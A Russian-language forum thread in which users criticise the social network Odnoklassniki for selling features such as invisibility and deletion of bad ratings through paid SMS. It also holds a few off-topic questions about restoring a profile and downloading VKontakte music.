Ясно было с самого начала, что это не благородная идея помочь в поиске одноклассников, а чисто коммерческое предприятие, сварганеное только лишь с целью наживы за счёт пользователей сайта. Сначала ввели невидимость , покупаемую с помощью платных СМС. Теперь вот можно загрузить какие угодно фотографии, и если позволяют средства, то создать видимость для окружающих, что эти фотографии очень хорошие

Всем привет)

а как восстановить анкету в однокласниках?)

то есть сам удалил) теперь хочу назад))) как такое делается?

В контакте сделал)

AlexxSei

Цитата:

Новая фишка на Одноклассниках - за платные СМСки можно удалить плохие оценки

Да при чём здесь Одноклассники ? Как говорится «Скупой платит дважды. Тупой платит трижды. Лох платит постоянно». По мне, так без разницы, какие там оценки, хоть всё 2-ки

Rins

А ты поставь какой-нить милой девушке пять.... двоек

Столько нового и интересного про себя потом узнаешь...

Видимо, эта "услуга" будет самой востребованной и принесёт владельцам сайта самые большие доходы. Конечно, сделать так, как на сайте "Мой мир" на mail.ru , а именно - создать возможность просматривать и ставить оценки только для друзей - это же хлопотно, да и никакого дохода не принесёт

По мне, так более маразматического не делал ни один сайт. Одноклассники показывают дурной пример всем остальным социальным сетям, и не дай Бог их примеру последуют другие

Как скачать В КОНТАКТЕ аудиозаписи со страницы другого юзера. Понравилась музыка, а как скачать не знаю.

Fors127
а при чем тут данная тема????
vkontakte.ru вконткте

Cheery
Сорри, не туда въехал

Последнее время сайт одноклассники превратился в сплошную рекламную площадку.
Постоянно ставят оценки с подписями типа зайди на такой-то сайт.

никогда там не зарегюсь это одно и тоже что написать на заборе свои данные , фото и пароли ко всем доступам.

A нет ли на odnoklsssniki.ru такой фичи как на odnoklassniki.km.ru:
http://odnoklassniki.km.ru/searchvirtual.asp?pr=400&acid=598B0FA11C19437C999DE669C847AD81
поиск людей (не регестрируясь на саите)